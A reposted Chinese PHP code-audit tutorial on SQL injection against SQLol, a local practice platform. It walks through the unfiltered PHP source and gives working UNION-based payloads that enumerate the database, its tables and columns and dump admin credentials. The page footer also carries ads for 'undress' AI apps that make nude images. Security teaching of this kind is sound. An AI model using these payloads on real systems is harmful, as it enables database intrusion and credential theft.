Table of Contents
0x01 背景
0x02 环境搭建
0x03 漏洞分析
0x04 漏洞证明
Home Backend Development PHP Tutorial 【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况

【PHP代码审计实例教程】 SQL注入 – 1.什么都没过滤的入门情况

Jun 23, 2016 pm 01:14 PM

近期博客将更新几篇PHP代码审计教程,文章转载自朋友博客,文章的风格简洁明了,也和我博客一惯坚持的风格类似。

文章已经得到授权(cnbraid授权),虽然不是我原创,但是文章很给力,希望小伙伴们喜欢。

0x01 背景

首先恭喜Seay法师的力作《代码审计:企业级web代码安全架构》,读了两天后深有感触。想了想自己也做审计有2年了,决定写个PHP代码审计实例教程的系列,希望能够帮助到新人更好的了解这一领域,同时也作为自己的一种沉淀。大牛请自觉绕道~

0x02 环境搭建

PHP+MySql的集成环境特别多,像PhpStudy、Wamp和Lamp等下一步下一步点下去就成功安装了,网上搜索一下很多就不赘述。

这里提的环境是SQLol,它是一个可配置的SQL注入测试平台,包含了简单的SQL注入测试环境,即SQL语句的四元素增(Insert)、删(Delete)、改(Update)和查(Select)。

PS:什么都没过滤的情况太少了,现在再怎么没有接触过安全的程序员都知道用一些现成的框架来写代码,都有过滤的。所以这个平台主要训练在各种情况下如何进行sql注入以及如何写POC。

①源码我打包了一份: http://pan.baidu.com/s/1nu2vaOT

②解压到www的sql目录下,直接打开http://localhost/sql即可看到如下界面:

0x03 漏洞分析

首先看下源码结构,比较简单,只有一个include文件夹包含一些数据库配置文件:

这里进行简单的源码分析,看不懂就略过以后再看~

1.看select.php文件,开始引入了/include/nav.inc.php

<?phpinclude('includes/nav.inc.php');?>
Copy after login

2.跟进nav.inc.php文件,发现该文件是select的核心表单提交页面以及输入处理程序:

表单的输入处理程序比较简单,主要是根据你表单的选择作出相应的过滤和处理,如下

<?php$_REQUEST = array_merge($_GET, $_POST, $_COOKIE);if(isset($_REQUEST['submit'])){ //submit后,开始进入处理程序switch($_REQUEST['sanitize_quotes']){ //单引号的处理,表单选择不过滤,就是对应none,新手看不懂可以学好php再回来    case 'quotes_double':        $_REQUEST['inject_string'] = str_replace('\'', '\'\'', $_REQUEST['inject_string']);        break;    case 'quotes_escape':        $_REQUEST['inject_string'] = str_replace('\'', '\\\'', $_REQUEST['inject_string']);        break;    case 'quotes_remove':        $_REQUEST['inject_string'] = str_replace('\'', '', $_REQUEST['inject_string']);        break;}//对空格的处理,如果参数中没有spaces_remove或者spaces_remove!=on就不会过滤空格if(isset($_REQUEST['spaces_remove']) and $_REQUEST['spaces_remove'] == 'on') $_REQUEST['inject_string'] = str_replace(' ', '', $_REQUEST['inject_string']);//黑名单关键字的处理,文章用不上,略过...if(isset($_REQUEST['blacklist_keywords'])){    $blacklist = explode(',' , $_REQUEST['blacklist_keywords']);}//过滤级别,新手可以不用管,略过...if(isset($_REQUEST['blacklist_level'])){    switch($_REQUEST['blacklist_level']){        //We process blacklists differently at each level. At the lowest, each keyword is removed case-sensitively.        //At medium blacklisting, checks are done case-insensitively.        //At the highest level, checks are done case-insensitively and repeatedly.        case 'low':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace($keyword, '', $_REQUEST['inject_string']);            }            break;        case 'medium':            foreach($blacklist as $keyword){                $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']));            }            break;        case 'high':            do{                $keyword_found = 0;                foreach($blacklist as $keyword){                    $_REQUEST['inject_string'] = str_replace(strtolower($keyword), '', strtolower($_REQUEST['inject_string']), $count);                    $keyword_found += $count;                }                }while ($keyword_found);            break;    }}}?>
Copy after login

3.我们再返回到select.php,发现后面也有个submit后表单处理程序,判断要注射的位置并构造sql语句,跟进看下:

<?phpif(isset($_REQUEST['submit'])){ //submit后,进入处理程序之二,1在上面if($_REQUEST['location'] == 'entire_query'){//判断是不是整条语句都要注入,这里方便学习可以忽略不管    $query = $_REQUEST['inject_string'];    if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') $displayquery = '<u>' . $_REQUEST['inject_string'] . '</u>';} else { //这里是根据你选择要注射的位置来构造sql语句    $display_column_name = $column_name = 'username';    $display_table_name = $table_name = 'users';    $display_where_clause = $where_clause = 'WHERE isadmin = 0';    $display_group_by_clause = $group_by_clause = 'GROUP BY username';    $display_order_by_clause = $order_by_clause = 'ORDER BY username ASC';    $display_having_clause = $having_clause = 'HAVING 1 = 1';    switch ($_REQUEST['location']){        case 'column_name':            $column_name = $_REQUEST['inject_string'];            $display_column_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'table_name':            $table_name = $_REQUEST['inject_string'];            $display_table_name = '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'where_string':            $where_clause = "WHERE username = '" . $_REQUEST['inject_string'] . "'";            $display_where_clause = "WHERE username = '" . '<u>' . $_REQUEST['inject_string'] . '</u>' . "'";            break;        case 'where_int':            $where_clause = 'WHERE isadmin = ' . $_REQUEST['inject_string'];            $display_where_clause = 'WHERE isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'group_by':            $group_by_clause = 'GROUP BY ' . $_REQUEST['inject_string'];            $display_group_by_clause = 'GROUP BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;        case 'order_by':            $order_by_clause = 'ORDER BY ' . $_REQUEST['inject_string'] . ' ASC';            $display_order_by_clause = 'ORDER BY ' . '<u>' . $_REQUEST['inject_string'] . '</u>' . ' ASC';            break;        case 'having':            $having_clause = 'HAVING isadmin = ' . $_REQUEST['inject_string'];            $display_having_clause = 'HAVING isadmin = ' . '<u>' . $_REQUEST['inject_string'] . '</u>';            break;    }    $query = "SELECT $column_name FROM $table_name $where_clause $group_by_clause $order_by_clause ";    /*Probably a better way to create $displayquery...    This allows me to underline the injection string    in the resulting query that's displayed with the    "Show Query" option without munging the query    which hits the database.*/    $displayquery = "SELECT $display_column_name FROM $display_table_name $display_where_clause $display_group_by_clause $display_order_by_clause ";}include('includes/database.inc.php');//这里又引入了一个包,我们继续跟进看看}?>
Copy after login

4.跟进database.inc.php,终于带入查询了,所以表单看懂了,整个过程就没过滤^ ^

$db_conn = NewADOConnection($dsn);print("\n<br>\n<br>");if(isset($_REQUEST['show_query']) and $_REQUEST['show_query']=='on') echo "Query (injection string is <u>underlined</u>): " . $displayquery . "\n<br>";$db_conn->SetFetchMode(ADODB_FETCH_ASSOC);$results = $db_conn->Execute($query);
Copy after login

0x04 漏洞证明

1.有了注入点了,我们先随意输入1然后选择注射位置为Where子句里的数字,开启Seay的MySql日志监控:

2.SQL查询语句为:SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC

根据MySql日志监控里获取的sql语句判断可输出的只有一个字段,然后我们构造POC:

-1 union select 222333#
Copy after login

找到输出点“222333”的位置如下图:

3.构造获取数据库相关信息的POC:

-1 union select concat(database(),0x5c,user(),0x5c,version())#
Copy after login

成功获取数据库名(sqlol)、账户名(root@localhost)和数据库版本(5.6.12)如下:

4.构造获取数据库sqlol中所有表信息的POC:

-1 union select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x73716C6F6C#
Copy after login

成功获取数据库sqlol所有表信息如下:

5.构造获取admin表所有字段信息的POC:

-1 union select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x61646D696E#
Copy after login

成功获取表admin所有字段信息如下:

6.构造获取admin表账户密码的POC:

-1 union select GROUP_CONCAT(DISTINCT username,0x5f,password) from admin#
Copy after login

成功获取管理员的账户密码信息如下:

原文地址:

http://www.cnbraid.com/2015/12/17/sql0/

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Explain the concept of late static binding in PHP. Explain the concept of late static binding in PHP. Mar 21, 2025 pm 01:33 PM

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

How does session hijacking work and how can you mitigate it in PHP? How does session hijacking work and how can you mitigate it in PHP? Apr 06, 2025 am 12:02 AM

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

Describe the SOLID principles and how they apply to PHP development. Describe the SOLID principles and how they apply to PHP development. Apr 03, 2025 am 12:04 AM

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set permissions of unixsocket after system restart? How to automatically set permissions of unixsocket after system restart? Mar 31, 2025 pm 11:54 PM

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

How to debug CLI mode in PHPStorm? How to debug CLI mode in PHPStorm? Apr 01, 2025 pm 02:57 PM

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

See all articles